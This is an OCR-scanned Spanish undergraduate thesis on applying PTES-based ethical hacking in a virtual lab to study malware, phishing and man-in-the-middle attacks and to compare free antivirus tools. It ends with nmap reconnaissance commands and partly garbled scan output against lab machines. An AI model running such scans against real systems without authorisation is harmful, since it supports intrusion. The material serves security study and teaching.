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RESUMEN

Este presente proyecto pretende determinar el uso de la herramienta correcta para mitigar
ataques cibernéticos mediante un laboratorio implantado en una red local, ademéas de dar a
conocer la mejor técnica para resolver ciertas amenazas, que se estudiaran a continuacion.
Actualmente en el mundo existe un elevado incremento de delitos informaticos, ya que estos
cibercriminales no tan solo atacan a empresas particulares o privadas, sino que también lo hacen
a usuarios especificos, entre los principales ataques a estudiar estan los malware, phishing y los
ataques de suplantacion de identidad, estas amenazas son en la actualidad una de las principales
causas de la sustraccion de informacion con el fin de perjudicar al usuario.

Ademas, estudio brindara la informacion necesaria para conocer que herramienta debemos
aplicar para la mitigacion de los ataques analizados en ambientes simulados, las principales
herramientas a evaluar se las escogio de acuerdo al grado de popularidad entre los usuarios.
También se utiliz6 los estdndares basados en la metodologia PTES, los cuales nos ayudan a
estructurar de mejor manera nuestros ciberataques y asi dar mejor entendimiento a nuestro
proyecto; conjuntamente también se usara la investigacion de caracter longitudinal que

permitira estudiar el comportamiento de la amenaza durante el periodo de ejecucion del mismo.
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INTRODUCCION

La presente investigacion tiene como objetivo a ayudar a los usuarios a tener una herramienta
y una técnica, las cuales se puedan implementar en cualquier ambiente de real permitiendo asi
la mitigacion de los ciberataques realizados por personas inescrupulosas que tiene como fin la
obtencion de informacion confidencial de las victimas, los cuales en su gran porcentaje son
vulnerable.

El aumento de los ciberataques a nivel mundial esta en crecimiento, el objetivo de estos
cibercriminales va mas alla del simple hecho de la obtencién de informacidon; ya ademas usan
los datos obtenidos para causar algun tipo de dafio a la victima para beneficio propio, entre los
principales ataques a nivel nacional e internacional tenemos el popular malware que se viene
usando desde tiempos atras y sigue mejorando su estructuracion de ataque, el phishing una de
las técnicas que usa la ingenieria social como aliado para esta proceso y por ultimo los ataque
de suplantacion de identidad entre los cuales tenemos Mide in the Middel(MitM).

Ademas, estd basado en los estandares de la metodologia PTES los cuales nos brindaran un
mejor entendiendo de los procesos y pasos a ejecutar para la implantacion de los ciberataques
dentro de nuestro laboratorio informatico obteniendo como resultado la herramienta y técnica

mas optima que permitiran llevar a cabo los ciberataques.
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CAPITULO |

1. FUNDAMENTACION

1.1. ANTECEDENTES

Uno de los principales problemas del uso del Internet es la inseguridad a la cual se enfrentan
los internautas. Con respecto aquello, el progreso que ha experimentado la “gran red de redes”
ha sido tan acelerada como el incremento de las amenazas informaticas que se difunden por
este medio [1].

Actualmente vivimos una era digital en donde entidades gubernamentales, asociaciones,
empresas 0 usuarios son vulnerables a los ataques cibernéticos, donde personas oportunistas
con un pequefio o amplio conocimiento informatico tienen como objetivo principal obtener
informacién confidencial dafiando la integridad del objetivo y obteniendo un beneficio
econdmico o sencillamente se puede convertir en juego para aquella persona [1].

Con la ayuda de técnicas y herramientas de ethical hacking podemos realizar un analisis
profundo y darle una pronta solucion al problema realizando simulaciones de los posibles casos
donde se producen los ataques cibernéticos.

Segun lo observado en la investigacion de caracter exploratoria de los portales web de ataques
cibernéticos en tiempo real, los ciberataques en el Ecuador van creciendo de manera paulatina,
teniendo como un comun denominador al usuario como principal amenaza ante estos ataques,
y para garantizar la seguridad de la informacion se necesita de un conjunto de metodologias,
sistemas, y herramientas (Ver Anexol).

Ademas, segln el estudio realizado por cisco en el afio 2019; en su reporte de amenazas sefiala
que a partir del afio 2016 el uso de ransomware era unos de los principales métodos de
ciberataque; y que a principios del 2018 este método esta quedando para la historia, pero esto
no quiere decir que se tiene que pasar por alto.

Actualmente la principal amenaza para los administradores de redes seria el robo de
informacion a través de phishing, suplantacion de identidad y malwares en general, bajo funcion
de los altos indices de transacciones de informacion; estos codigos maliciosos pueden ser
instalado por agente externos o por la propia victima de manera sencilla ya que tienden a
funcionar en segundo plano y pasan desapercibido para el usuario [2].

Por este motivo se desea realizar un analisis de las herramientas y técnicas que permitan estudiar

los diferentes ataques que existen actualmente y como contrarrestarlo, guiados bajo un estandar
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de pruebas de penetracidn, y asi tener un mejor control de los procesos realizados por el usuario
permitiendo llevar un seguimiento de las actividades realizadas y crear conciencia del uso
correcto de las TICs.

La universidad politécnica de valencia llevo a cabo el desarrollo e implementacion de un
PENTEST, en donde su objetivo principal es pretender esbozar las fases que toda auditoria de
seguridad informatica debe tener, dentro de las cuales se usaron diversas herramientas y
técnicas para la ejecucion de este proyecto basandose en los estandares de PTES [3].

En Latinoameérica, la universidad catolica de Colombia realiz6 un proyecto basado en la
definicion de una metodologia de hacking ético para empresas publicas especificas, el principal
alcance del este proyecto estd en desarrollar un anlisis de las vulnerabilidades encontradas
logrando entregar un informe detallado de como mitigar las vulnerabilidades basados en las
buenas practicas para mantener una infraestructura informatica segura [4].

En la universidad privada del norte en Per( se llevd a cabo la aplicacion de una auditoria de
Pentesting para la contribucion de las medidas de seguridad de la informacion de los sistemas
informéaticos manteniendo la viabilidad, integridad, disponibilidad [5].

En Ecuador, la Universidad catdlica del Ecuador con sede en Esmeraldas estudio la propuesta
de una metodologia para la realizacion de pruebas de penetracién logrando implementar una
metodologia que permita realizar pruebas de penetracion en ambientes virtuales [6].

Los estudios realizados con anterioridad y las implantaciones ejecutadas fueron disefiadas bajo
diferentes metodologias o sin ellas, la cual en a la actualidad no nos permiten saber que
herramientas o técnicas son las adecuadas para el control de la ciberseguridad y como aplicarlas.
Luego del estudio realizado y basandonos como guia en los analisis hechos con anterioridad,
se logrd determinar que el estudio ademas de darnos unas pautas de cémo realizar un correcto
manejo de la ciberseguridad también nos daran como resultado saber cuél es la mejor técnica y

las mejores herramientas para la aplicacion de la ethical hacking en la ciberseguridad.
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1.2.DESCRIPCION DEL PROYECTO

Este presente proyecto surge desde la idea de tener un mejor manejo y control sobre la
ciberseguridad de las entidades, basadas en los estdndares de la metodologia PTES que
permitan una buena gestion al momento de aplicar las pruebas de penetracion, ademas de
conocer herramientas y técnicas orientadas correctamente para el manejo de la ethical hacking.
El presente estudio aplicara de referencia los ataques méas concurridos a nivel nacional e
internacional, entre los cuales tenemos:

El conocido phishing delito de engafiar a las personas para que compartan informacién
confidencial; los malware, por ejemplo: troyanos estos se camuflan como un software legitimo,
para intentar acceder a los sistemas de los usuarios y finalmente el Ataques del Hombre en el
Medio (MitM) se trata del ataque en dénde el atacante en este caso, posee la habilidad
de controlar o desviar las comunicaciones entre dos partes.

Para la realizacion del presente proyecto, se llevara a cabo el desarrollo de las siguientes fases

detalladas a continuacion:

» Fase de recoleccién de informacion: Comprende la preparacién del ambiente
simulado y la recopilacion de informacion necesaria para realizar los diferentes ataques
a nuestros objetivos.

» Fase de modelado de amenaza: En esta fase se realiza el modelado y la busqueda de
herramientas necesarias, para ejecutar los ataques seleccionados en la implantacion en
el ambiente simulado.

» Fase de analisis de vulnerabilidades: En la siguiente fase se usan los datos
recolectados de la primera fase, para encontrar vias 0 métodos de ataques que permitan
vulnerar el sistema.

» Fase de explotacion: Hace refiera a la ejecucion del ataque a traves de las diferentes
herramientas seleccionadas en el modelado de la amenaza.

» Fase de informe: Una vez terminada las fases anteriores, se procede a documentar el
proceso de cada ataque; ademas de seleccionar la herramienta mas optima para mitigar

los ciberataques.
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1.2.1. Hardware

Para el presente proyecto de analisis se requiere de la implantacion de un laboratorio para el
estudio de las herramientas y las técnicas, se utilizarda una maquina Hp notebook 14 de
procesador AMD A6-7310 APU con una tarjeta grafica de Radeon R4 y una memoria RAM de
8 GB, ademés del uso de méaquinas virtuales realizadas en virtual box con las siguientes
descripciones: una estacion para el hacker con un minimo de 2 GB de RAM y un disco duro de
20 GB minimo, 2 equipos victimas con 2GB de RAM con una minimo de 20GB disco duro,1
router de wifi de marca Huawei Hg-8245H, 1 equipo servidor con un minimo de 2GB de RAM
y disco duro de 20GB.

1.2.2. Software

El software base a utilizar, es el sistema operativo Kali Linux en su version 2020 para la
ejecucion de la mayoria de los ataques; ademas de otras diversas herramientas como: HT Track
Website Copier, Armitage, Ettercap.

Para la parte de analisis de vulnerabilidad se emplearan la herramienta: Wireshark; finalmente
para la parte de detencion de los ciberataques se usaran herramientas de antivirus en su version
free entre los cuales tenemos: Avast, AVG, ESET-NOD32; los cuales serviran para mitigar
ciertos ataques.

Adicionalmente, las maquinas consideradas con victimas de los ciberataques utilizaran como
sistema operativo base Windows 10 y Windows server 2016 respectivamente virtualizados con

la herramienta VirtualBox.

» Kali Linux: Es una distribucién de Linux basada en Debian destinada a las pruebas de
penetracién avanzadas y la auditoria de seguridad, contiene varias herramientas que
estan orientadas a diversas tareas de seguridad de la informacién, como pruebas de
penetracion, investigacion de seguridad, informatica forense e ingenieria inversa [7].

» VirtualBox: Es una potente herramienta de virtualizacion para uso empresarial y
domeéstico. Ademas, no solo es un producto extremadamente rico en funciones y de alto
rendimiento para clientes empresariales, sino que también es la Gnica solucion
profesional que esta disponible gratuitamente como software de cddigo abierto bajo los
términos de la General Public License (GPL) [8].

» Windows server 2016: Es un sistema operativo tipo servidor desarrollado por
Microsoft como parte de la familia de sistemas operativos Windows NT, desarrollado

simultaneamente con Windows 10. La primera version preliminar estuvo disponible el
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1 de octubre de 2014. Windows Server 2016 se lanzd el 26 de septiembre de 2016 en la
conferencia Ignite de Microsoft y estuvo disponible en general el 12 de octubre de 2016
[9].

Windows 10: Es la ultima version de sistema operativo desarrollado por Microsoft
como parte de la familia de Windows NT, la empresa la dio a conocer en el afio 2014 y
se lanz¢ al pablico en julio del 2015, lo distinto de esta version es que Microsoft ofrece
gratuitamente para aquellos usuarios que cuenten con copias originales de Windows 7
y Windows 8.1 update. Esta version es una edicion super completa disefiado para toda
la familia de los productos Microsoft tales como: laptops, tabletas, teléfonos
inteligentes, Xbox One, entre otros. Esto se da gracias a su codigo casi idéntico que le
permite tener tal compatibilidad [10].

Wireshark: Es el analizador de protocolos de red mas importante y més utilizado del
mundo, que permite ver lo que esta sucediendo en su red a un nivel microscopico en
muchas empresas comerciales y sin fines de lucro, agencias gubernamentales e
instituciones educativas. El desarrollo de Wireshark prospera gracias a las
contribuciones voluntarias de expertos en redes de todo el mundo y es la continuacién
de un proyecto iniciado por Gerald Combs en 1998 [11].

Armitage: Es una Herramienta que permite el uso de scripts para metasploit que permite
visualizar objetivos, recomienda exploits y expone las caracteristicas avanzadasde post-
explotacion que tiene el framework [12].

Avast Free Antivirus: Es una herramienta proporcionada por una de las empresas de
seguridad mas grandes del mundo, utiliza tecnologias de Gltima generacion para hacer
frente a los ciberataques en tiempo real; lo que la diferencia de otras compafiias de
ultima generacién es que cuentan con un gigantesco motor de aprendizaje automatico
en la nube que recibe un flujo constante de datos de cientos de millones de usuarios, lo
cual permite aprender a velocidades inusitadas y convierte a nuestro motor de
inteligencia artificial en el mas rapido e inteligente del mundo. [13].

HTTrack: Esta herramienta permite descargar un sitio World Wide Web desde Internet
a un directorio local, creando de forma recursiva todos los directorios, obteniendo
HTML, imagenes y otros archivos desde el servidor a su computadora, ademas organiza
la estructura de enlaces relativa del sitio original, también puede actualizar un sitio
duplicado existente y reanudar las descargas interrumpidas. HT Track es completamente
configurable y tiene un sistema de ayuda integrado [14].
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» Stripo: Esuna herramienta que sirve para crear plantillas de correo electronico gratuito,
ademas de tener todas las plantillas de correo electronico disefiadas con el editor de
correo electrénico HTML. Por otra parte, nuestro editor le permite habilitar los botones
VML para Outlook en sus correos electronicos mediante un solo clic, también permite
tener una previa visualizacion del correo electronico antes de ser enviado [15].

» ESET-NOD32: En un antivirus protegido por la tecnologia multipremiada ESET
NOD32, en la que confian mas de 110 millones de usuarios en todo el mundo para
detectar las amenazas digitales, como ransomware, rootkits, gusanos y spyware.
Ademas, te brinda seguridad ante técnicas que buscan evadir los métodos de deteccion
habituales y bloguea ataques dirigidos y exploits. EI modulo Anti-Phishing te protege
de sitios web falsos que buscan acceder a tu informacion, como nombres de usuario y
contrasefas. [16].

» AVG: Es un software para detener y eliminar los programas maliciosos. Fue
desarrollado gracias a una empresa checa llamada AVG Technologies. Y se ha puesto
disponible para distintos sistemas operativos. Por ejemplo, Linux, Windows, iOS,
Android y Windows Phone [17].

» Mi arroba: es un hosting que ofrece un servicio gratuito de creacion de foros, blogs,
estadisticas, clasificados, alojamiento de fotos [18].

1.3.0BJETIVO

1.3.1. OBJETIVO GENERAL

Implantar técnicas y herramientas de ethical hacking para la ciberseguridad basado en las fases
de la metodologia PTES.

1.3.2. OBJETIVO ESPECIFICO

o Identificar las principales herramientas para la practica de ciberseguridad.
e Plantear las fases de la metodologia PTES que permita manejar de manera ordenada y

secuencial el uso de las herramientas escogidas.
e Describir las mejores técnicas para el manejo y control de las amenazas.

e Recomendar el uso especifico de la técnica y herramienta de acuerdo a la problematica
presentada.
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1.4.JUSTIFICACION

La propagacion acelerada de los equipos tecnologicos, el amplio acceso al servicio de Internet
han sido los principales factores para que el usuario sea participe de manera directa e indirecta
de los delitos informaticos, donde la informacidn personal o institucional es obtenida de manera
indebida por personas inescrupulosas buscando el beneficio propio sin importarle el dafio
generado [19].

Cabe recalcar que a medida que se genera la evolucion tecnolégica, los delitos informaticos
empiezan a incrementarse a cada minuto ocasionando que sea un tema importante y que en
algunos casos tenga que buscarse soluciones inmediatas para remediar el dafio obtenido sin
importar el tamafio o tipo de negocio [19].

Por tal motivo surge la necesidad de realizar un anélisis de la herramientas y técnicas del
hacking ético basados en la metodologia PTES, la cual permite identificar y analizar los
respectivos controles que fortalecen los niveles de seguridad permitiendo asi la mitigacion de
los riesgos informaticos a los que estamos expuestos cuando navegamos en la gran red de redes

[20].

El presente tema propuesto esta alineado a los objetivos del Plan Nacional de Desarrollo del
buen vivir en el siguiente eje.
Objetivo 5

Impulsar la productividad y competitividad para el crecimiento econémico sostenible de
manera redistributiva y solidaria [21].

Politica 5.6 Promover la investigacion, la formacion, la capacitacion, el desarrollo y la
transferencia tecnologica, la innovacién y el emprendimiento, la proteccion de la propiedad
intelectual, para impulsar el cambio de la matriz productiva mediante la vinculacion entre el

sector publico, productivo y las universidades [21].

1.5.ALCANCE

Fase de recoleccion de informacion:
e Estructurar el ambiente simulado para la ejecucion del analisis de amenazas.

¢ Investigar diferentes ataques segun la frecuencia de uso para su respectiva seleccion en

el ambiente simulado.
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e Ultilizacion de las herramientas informéticas para detectar puertos abierto y servicios
vulnerables de las victimas.

Fase de modelado de amenaza:
e Busqueda de las herramientas necesarias para la creacion de los ciberataques.

e Modelado de los diferentes tipos de ciberataque seleccionados en la primera fase.

Fase de analisis de vulnerabilidades:

e Exploracién de vulnerabilidades de las victimas para asi lograr el acceso que permita
vulnerar el sistema.

e Monitorear los eventos suscitados dentro de la red simulada.

Fase de explotacion:
e Implantar los diferentes tipos de ciberataque seleccionados.
e Ejecutar los diferentes ataques seleccionados que permitan vulnerar el sistema.

e Probar las diferentes herramientas que ayudan a mitigar los ciberataques.

Fase de informe:

e Obtencidn de los resultados de la diferentes técnicas y herramientas escogida para la
mitigacion de las amenazas.

e Elaboracién de cuadros sobre las técnicas y herramientas usadas.
e Eleccion de la técnica y herramienta dptima para reducir los ciberataques.

e Sugerencias y recomendaciones a seguir en base a los resultados obtenidos.
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CAPITULO 2

2. MARCO TEORICO Y METODOLOGIA DEL PROYECTO
2.1.MARCO TEORICO

2.1.1.Seguridad de la informatica

La seguridad de la informética en términos basicos comprende en un parte los cimientos de una
disciplina muy compleja la cual tiene como concepto brindar un bienestar a una organizacion
ademas de mitigar la ausencia y presencia de riegos dentro de la misma. Existen paises donde
la seguridad es prioridad en muchos aspectos como lo son seguridad ambiental, seguridad
publica, seguridad econémica que tienen como privilegio evitar el robo, dafio, manipulacion de
bienes [22].
La seguridad siempre tomara en cuenta la forma de evitar o prevenir, acciones que permitir
causar algun tipo de dafio a la entidad he involucra los siguientes procesos:

e Prevencion del riesgo

e Transferir el riesgo

e Mitigar el riesgo

e Aceptar el riesgo

Para entender lo que con lleva la seguridad de la informatica debemos de entender cuél es la
diferencia entre seguridad informatica y seguridad de la informacién esta Gltima mantiene bajo
sus parametros el manejo de pérdida o fuga de informacion, en cambio la seguridad informatica

se encarga de los medios por los cuales esta informacion se transmite o se almacena [22].

2.1.2.Ciberseguridad

Las redes de informacion forman una gran parte integral de nuestra vida, ya que la mayoria de
las entidades ya sean estas financieras, educativas, 0 medicas funcionan atreves de una red, es
por ello que nace la ciberseguridad un tema donde su concepto esta fomentado en el esfuerzo
que regir el deber de proteger estos sistemas ante algin uso no debido o autorizado [23].

A medida que pasan los afios la poblacidn supera en gran porcentaje el deseo de mantenerse
mas tiempo en linea, esto puede ocasionar severas consecuencias para las organizaciones ya
que el punto mas débil para la misma es el usuario final.

“Las ciberamenazas mundiales siguen desarrollandose a un ritmo rapido, con una cantidad cada

vez mayor de filtraciones de datos cada afio. En un informe de RiskBased Security, se
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reveld que unos alarmantes 7900 millones de registros han sido expuestos por filtraciones de
datos solo en los primeros nueve meses del 2019. Esta cifra es méas del doble (112 %) de la

cantidad de registros expuestos en el mismo periodo durante el 2018 [23].

2.1.3. Tipos de ciberataques.

e Codigos maliciosos 0 malware: Este tipo de ciberamenaza hace referencia a un ataque
directo al sistema que puede ocasionar dafios muy graves al intentar modificar cddigo
base de nuestro sistema en estos ataques esta incluidos, gusanos, ransomware o troyano,
el objetivo de estos ataques es impregnarse en el sistema para asi causarle debilidad a
el mismo [24].

e Ciber-espionaje: Esta técnica se usa mas en las organizaciones gubernamentales, esto
no quiere decir que no se lo use con otros fines su objetivo principal es obtener
informacion [24].

e Ransomware: Consiste en introducir un conjunto de cédigo malicioso dentro de un
sistema, el cual tiene como finalidad encriptar los datos, pedir una recompensa.

¢ Phishing: se enfoca en el redireccionamiento de paginas o de sistemas atreves de sitios
web o correos falsos [24].

e Malware spam: Conjuntos de correos que se envian a la victima y tienen como
finalidad dafiar el sistema [24].

e Criptojacking: Este ataque en los ultimos afios ha aumentado en un gran nivel, consiste
en la creacion y obtencion de la criptomoneda para apoderarse de ella teniendo el control

de la maquina [24].
2.1.4. Clasificacién de las amenazas
Amenazas de seguridad internas
Estos ataques son los que principalmente se generan dentro de una organizacion, estos pueden

ser ejecutado por los empleados de la empresa ya sean de planta o contratados, ademas de que

pueden ser ocasionas de manera accidental o de manera intencional.

“Las amenazas internas también tienen el potencial de generar mayor daiio que las amenazas
externas, porque los usuarios internos tienen acceso directo al edificio y a sus dispositivos de

infraestructura. Los empleados también tienen conocimiento de la red corporativa, sus recursos
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y sus datos confidenciales, asi como diferentes niveles de usuario o privilegios administrativos”
[25].

Amenazas de seguridad externas

Estas amenazas son unas de las mas comunes dentro de las entidades empresariales, uno de sus
principales objetivos es encontrar vulnerabilidades dentro de la red, y usas distintas técnica o

métodos para conseguir el acceso a la misma [25].
2.1.5. Hacking ético.

Podemos entender que el hacking ético son un conjunto de técnicas utilizadas por profesionales
de la seguridad informaética para ayudar a mitigar diversos tipos de ciberamenazas. A diferencia
del hacker informatico, podriamos diferenciar que el Hacking ético se basa en buscar soluciones
en seguridad informatica, realizando pruebas en redes y buscando vulnerabilidades, para
después reportarlas y que se tomen medidas necesarias para reducir el impacto del ataque [26].

El hacker ético tiene que conocer lo que un hacker no ético hace, ademas de saber las técnicas
que utilizan, como actuan y también mantenerse siempre actualizado porque dia a dia aparecen

nuevas técnicas [26].

La manera correcta de describir a un hacker ético, esta en decir que es el encargado de encontrar
vulnerabilidades, dando esto como resultado el desarrollo de aplicaciones para la explotacion
de las mismas; esto conlleva a que la informacion de millones de personas alojada en la nube

se encuentre vulnerable [26].

Descrito en lo anterior, podemos decir que el hacking ético es realizado por un hacker; de la
misma manera este puede ser ético o no dependiendo de como se realice el hackeo. El papel
fundamental del hacker ético se basa en la ejecucion de ataques informaticos para la basqueda

de vulnerabilidades e implementar posibles medidas de prevencion ante estas amenazas.

2.1.6. Metodologia PTES (Penetration Testing Execution Standard)

Es una metodologia que sirve como guia técnica para los procesos de test de intrusidn ya que
define los pasos y herramientas requeridas en cada fase del ciclo de pruebas de vulnerabilidades,

estd comprendida por una cadena de estandares los cuales permiten el facil entendimiento y



comprension del estudio de vulnerabilidades [27].
Los objetivos de un test de penetracion varian dependiendo del cliente, ya que se le puede
solicitar al pentester la comprobacién de una aplicacion web, intentar ejecutar ataques de

ingenieria social y adicionalmente aquello el actuar como un atacante interno etc.
2.1.7. Diferentes metodologias para realizar pruebas de Pentesting.

OWASP: Es una metodologia de cddigo abierto dedicado a la identificacion y mitigacion de
aplicaciones inseguras, ademas contiene pruebas de seguridad periddicas en varias fases. Su

enfoque principal es basado en pruebas de penetracion de caja negra y se compone de 2 fases:

e Fase pasiva: En esta el tester entiende la l6gica del sistema evaluado.

e Fase activa: El tester prueba todas las herramientas recomendadas por la metodologia
[28].

ISSAF: Es una metodologia estructurada para el analisis de seguridad en maltiples dominios y
detalles especificos de las pruebas. Su objetivo es proporcionar procedimientos muy detallados
para la comprobacion de sistemas de informacion, aplicaciones web o redes de trabajo; pero no

permiten evaluar todos los aspectos requeridos actualmente [28].

OSSTMM: Es un estandar profesional utilizado para el testeo de seguridad en cualquier
entorno, esta metodologia en conjunto representa un modelo de referencia en el area de testeo
de seguridad. Ademas de también incluir lineamientos, ética del auditor de seguridad,
legislacion sobre el testeo de seguridad y un conjunto integral de testeo al igual que los otros
[28].

2.1.8. Fases del Pentesting.

El Pentesting estd conformado por una serie de fases las cuales se encuentran comprendidas

desde la planeacién hasta el reporte.
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Planeacion Analisis

Reconocimiento Intruccion

Evaluacion

Fig. 1 Fases del Pentesting

Planeacion: Dentro de esta fase el pentester y el cliente definen los limites y objetivos de la
prueba, de modo que ambas partes estén de acuerdo ya que estos limites marcan una frontera
de legalidad dentro de cada prueba [29].

Reconocimiento: En esta segunda fase se analiza de forma detallada el como se va a recolectar
informacion del objetivo, para obtener una mejor vision de los mecanismos de seguridad que
emplea la victima. Ademas, la informacion disponible debe ser proporcionada, completa y clara
[29].q

Descubrimiento: Dentro de esta fase se encuentra comprendida la obtencion o recoleccion de
datos a través de herramientas de andlisis de vulnerabilidades, en donde el pentester busca:
rangos de direcciones IP, direccion fisica de la empresa, datos personales de la empresa:
numeros de teléfonos, nombres del personal y cuentas de correo electrénico entre otra cosa [29].
Evaluacion: Dentro de esta fase se analiza los diferentes datos encontrados dentro de las
anteriores fases, para asi determinar cual es la mejor herramienta para afectar al sistema y
determinar sus puntos de vulnerabilidad [29].

Instruccién: Esta fase se centra en la explotacion de las posibles puertas o entradas,
encontradas en la fase de evaluacién; las cuales son aprovechadas por un exploit o cualquier
otro tipo de ciberataque que permita el ingreso al sistema [29].

Analisis: Evalua las posibles vulnerabilidades que se encuentren dentro del sistema que afecten
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0 comprometan la entidad [29].
Reporte: En esta fase se desarrolla un informe detallado de cada uno de los procedimientos o

pruebas realizadas y asi determinar sugerencias para una seguridad futura [29].
2.1.9. Ciberataques mas frecuentes.

Segun el portal web welivesecurity, los ataques méas frecuentes en primer lugar son los tipos
malware dejando por detras a los phishing y por Gltimo a otros tipos de ataques.

“De acuerdo con el Antiphishing Working Group, durante el segundo trimestre de 2018,
alrededor del 35% de los ataques de phishing registrados se alojaron en sitios web con el
protocolo HTTPS, cifra que significa un importante incremento en comparacion con el casi 5%
de los casos de sitios falsificados con certificados SSL, reportados hacia finales de 2016 [30].
Los cddigos maliciosos contintan siendo una de las principales amenazas, a esto se suma su
uso para llevar a cabo varios ataques; segun el ESET security report 2018 los ataques de
malware son la principal causa de incidencias de seguridad en empresas latinoamericanas.
“Entre las familias con mas altos niveles de propagacion, se encuentra la llamada Win32, cuyos
primeros registros se hicieron presentes durante 2016, y que valiéndose de un lenguaje de
scripting como Autolt, estaba disefiado en sus inicios para tomar capturas de pantalla. Hoy, esta
amenaza evolucion0 y ya cuenta con funcionalidades de keylogger, robo de informacion de
sitios de comercio electrénico y contrasefias almacenadas en los buscadores y, mas
recientemente, la capacidad de minar criptomonedas” [31].

“Antes del COVID-19, los ataques cibernéticos ya estaban aumentando, y la pandemia y la
cuarentena resultante no hicieron mas que incrementar ain mas este riesgo. Desde las estafas
de phishing hasta el malware relacionado con el COVID-19, los ciberdelincuentes se han
abalanzado sobre las vulnerabilidades que se desprenden del trabajo descentralizado y los
sistemas de T1 para encontrar grietas por donde filtrarse” [32].

Segun los conceptos anteriores podemos determinar que el aumento de los ataques va en
incremento, ademas que consecuentemente a la pandemia del 2020 por covid-19 no solo elevo
su crecimiento, sino que también acelerd los ciberataques.

Como ultimo ataque tenemos el conocido Man in the Middle que actualmente se lo considera
como una amenaza de mando y control o también como suplantacion de identidad segun el

portal web akamai.
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Desglose de amenazas - Ultima Hora @ Tendencias de amenazas ® 30 dias

Fig. 2 Estadisticas de amenazas en tiempo real

fuente: www.akamai.com

2.2. METODOLOGIA DEL PROYECTO

2.2.1.Metodologia de la investigacion

Se realizara una investigacion longitudinal, con ayuda de la recopilacién de informacion
relevante y de estudios relacionado con el uso de los estandares de PTES en la ejecucion de
analisis de Pentesting. Con la informacion obtenida de la literatura se procedera a levantar un
laboratorio de hacking ético para la implantacion de las herramientas y técnicas para contra
restar los ataques informaticos (Ver anexo2).

En base a la metodologia aplicada se detect6 una variable dependiente e independiente:
Variable independiente: Hacking Etico.

Variable dependiente: Identificacion de las herramienta y técnicas para la mitigacion de
ciberataques.

2.2.2.Técnicas de recoleccion de informacion

Para realizar la basqueda de la informacion se tendra en cuenta la técnica de recoleccion
conocida como recopilacion documental y bibliogréfica, la cual tiene como finalidad obtener
datos a través de fuentes documentales que permitirdn proporcionar la obtencion de
informacidn; posteriormente se analizara y se presentaran los resultados obtenidos. Ademas, se

tendra como proposito el cumplimiento de los objetivos propuestos en esta investigacion.

2.2.3.Metodologia de desarrollo del proyecto

Las siguientes fases detalladas a continuacion estan basadas segun la metodologia PTES y
acopladas a la busqueda de la herramienta mas optima y técnica para la mitigacién de los

ciberataques respectivamente:
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Fase I: Recoleccion de informacion
Se llevara a cabo un andlisis de la estructura de la organizacién en el ambiente simulado,
tomando en consideracion la informacion obtenida de los diferentes ciberataques a ejecutar y
de las herramientas a utilizar.
Fase I11: Modelado de la amenaza
Se buscaré e instalara las herramientas necesarias para el modelo de las amenazas de una manera
correcta y controlada.
Fase I11: Anélisis de Vulnerabilidades
En esta etapa se buscara obtener las vulnerabilidades de las victimas para producir los
ciberataques dentro ambiente simulado, ademas de monitorizar los eventos sucitado dentro
laboratorio implantado.

Fase IV: Fase de explotacion
En esta fase se ejecutar los diferentes ataques seleccionados para obtener el acceso al sistema,
ademas de detectar el ataque para una pronta respuesta y continua proteccion.

Fase V: Informe
Evidenciar las pruebas realizadas dentro de la implantacion de cada herramienta y técnica, luego

de los resultados obtenidos se realizara la seleccion de las optima.

CAPITULO 3

3. PROPUESTA

3.1.Introduccion.
La propuesta presentada a continuacion permitird obtener un nivel adecuado de
ciberseguridad que permitira prevenir riesgos de ciberataques a las redes de datos y a la
informacién que transita por ellos, siendo esencial para el funcionamiento de las
organizaciones.
Con la adopcion de nuevas tecnologias digitales se incrementa la dependencia de las
mismas, creando un ambiente de vulnerabilidad para nada despreciable, convirtiéndose en
un peligro potencial.
Con el fin de evitar facilidades al incremento de los ciberataques, las infraestructuras
tecnoldgicas existentes deben establecer un proceso de seguridad de naturaleza técnica, por
lo que se vuelve necesario reconocer los recursos intangibles a proteger, para asi poder
precisar cual serd la trascendencia de la seguridad para que la proteccién de dichos recursos

sea de forma eficaz y controlada.



3.2.Desarrollo de la propuesta

3.2.1. Fase I: Recoleccion de informacion
Estructuracion del laboratorio de hacking ético implantado en una red local para la
ejecucion de los ciberataques.

y Estacién de Windows
Estacién de Windows

(Victimal) a0y Estacion de Kali Linux
192.168.101.18 21BN (Hacker)
pniE i 5] %
w . u . e Dy
(= —=2 VA — 2

I Windoms Server 2016

)

o

o | AN
o | ‘ 453 l
o)
o |

Estacién de Windows Server

'WIFI (Router)

(Victima2)

Fig. 3 Estructura del laboratorio de hacking ético

Segun los investigado con anterioridad se escogidé los ataques de malware, phishing, y por
ultimo un ataque de control y dominio (MitM).

Malware

Con el comando nmap buscamos alguna vulnerabilidad del sistema para la ejecucién de nuestro
ataque.

Comando a ejecutar: nmap —A —T4 192.168.101.18

Comando a ejecutar: nmap -A —T4 192.168.101.24

Comando a ejecutar: nmap —-A -T4 192.168.101.13

Starting Nmap 7.91
s 1ap:

2 - 2012 microsoft-ds

we could not find at least 1 open and 1 closed port

2 - 2012; CPE: cpe:/v:microsofl:windows

WIN-CDKC8RC4D9K, NetBIOS user: <unknown>, NetBIDS MAC: ©3:00:27:22:5d:b3 (Oracle VirtualBox v

ed (dangerous, but default)

ge signing enabled but not required

021-01-03T05:
2021-01—

TRACCROUTL

Fig. 4 Informacion obtenida de la maquina 192.168.101.24



/home/zeus-4x
192.168.101.18

ptarting Nmap 7.91 ( https://nmap.org ) at 2021-01-03 00:33 -05
ptats: 0:00:52 elapsed; @ hosts completed (1 up), 1 undergoing Service
bervice scan Timing: About 80.00% done; ETC: 00:34 (0:00:12 remaining)
ptats: 0:01:07 elapsed; @ hosts completed (1 up), 1 undergoing Service
bervice scan Timing: About 80.00% done; ETC: 00:34 (0:00:16 remaining)
ptats: 0:01:38 elapsed; @ hosts completed (1 up), 1 undergoing Service
bervice scan Timing: About 80.00% done; ETC: 00:35 (0:00:24 remaining)
ptats: 0:02:00 elapsed; @ hosts completed (1 up), 1 undergoing Service
bervice scan Timing: About 80.00% done; ETC: 00:35 (0:00:29 remaining)
map scan report for 192.168.101.18
ost is up (0.041s latency)
ot shown: 995 closed ports

STATE SERVICE VERSION

open msrpc Microsoft Windows RPC
open netbios-ssn Microsoft Windows netbios-ssn

open microsoft-ds Windows 10 Enterprise 10586 microsoft-ds (workgroup: WORKGROUP)
open enpp?
open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
_http-server-header: Microsoft-HTTPAPI/2.0
_http-title: Service Unavailable
MAC Address: 00:26:C7:DA:54:CE (Intel Corporate)
